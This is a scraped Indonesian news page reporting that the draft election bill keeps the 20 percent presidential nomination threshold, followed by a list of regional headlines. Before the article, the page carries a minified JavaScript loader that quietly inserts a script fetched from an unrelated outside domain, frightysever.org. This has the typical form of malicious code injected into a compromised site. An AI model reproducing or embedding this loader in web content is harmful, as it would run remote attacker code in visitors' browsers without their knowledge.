(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Ambang Batas Pencalonan Presiden di RUU Pemilu Tetap 20 Persen


KANALKALIMANTAN.COM, JAKARTA– Draf Rancangan Undang-undang (RUU) Pemilu tetap mencantumkan ambang batas presiden atau presidential treshold 20 persen. Angka ini tak berubah dari ketentuan UU No. 7 Tahun 2017 tentang Pemilu.

Presidential treshold sendiri merupakan syarat minimal jumlah suara atau kursi partai politik di parlemen yang harus dikumpulkan oleh calon presiden-wakil presiden untuk bisa maju di pemilu presiden.

“Pasangan Calon Presiden dan Wakil Presiden diusulkan oleh Partai Politik atau Gabungan Partai Politik Peserta Pemilu yang memenuhi persyaratan perolehan kursi paling sedikit 20% (dua puluh persen) dari jumlah kursi DPR atau memperoleh 25% (dua lima persen) dari suara sah secara nasional pada Pemilu anggota DPR sebelumnya,” bunyi pasal 187 draf RUU Pemilu.

Ambang batas presiden sendiri kerap mengundang pro-kontra. Aktivis pemilu selama ini menghendaki agar presidential treshold ditetapkan sebesar 0 persen.

Komisioner Komisi Pemilihan Umum (KPU) Pramono Ubaid Tanthowi mengusulkan agar presidential treshold dikurangi. Ia mengatakan ambang batas tinggi memiliki banyak dampak buruk, salah satunya masyarakat menjadi terbelah lantaran hanya ada dua pasang calon.

Ketentuan ambang batas itu sendiri sudah beberapa kali digugat ke Mahkamah Konstitusi (MK) meski itu ujungnya ditolak. Salah satunya ialah permohonan uji materi pasal 222 UU Nomor 7 Tahun 2017 tentang Pemilu yang dimohonkan oleh politikus Rizal Ramli dkk.

Alasan gugatan itu, katanya, ambang batas presiden membuat negara dikuasai segelintir elite. Pasalnya, hanya sedikit orang yang bisa membuat parpol untuk mengusungnya dalam Pilpres, yang tak menutup kemungkinan melibatkan politik uang.

Alhasil, akan ada simbiosis dengan ‘cukong’ yang bisa membiayai pencalonan itu. Jika menang, politikus tersebut hanya akan mengeluarkan kebijakan yang menguntungkan pendananya itu.(Kanalkalimantan.com/cnni)

Editor : Cell

 

 

 


Al Ghifari

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

20 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

20 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

21 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

21 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

1 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 hari ago

This website uses cookies.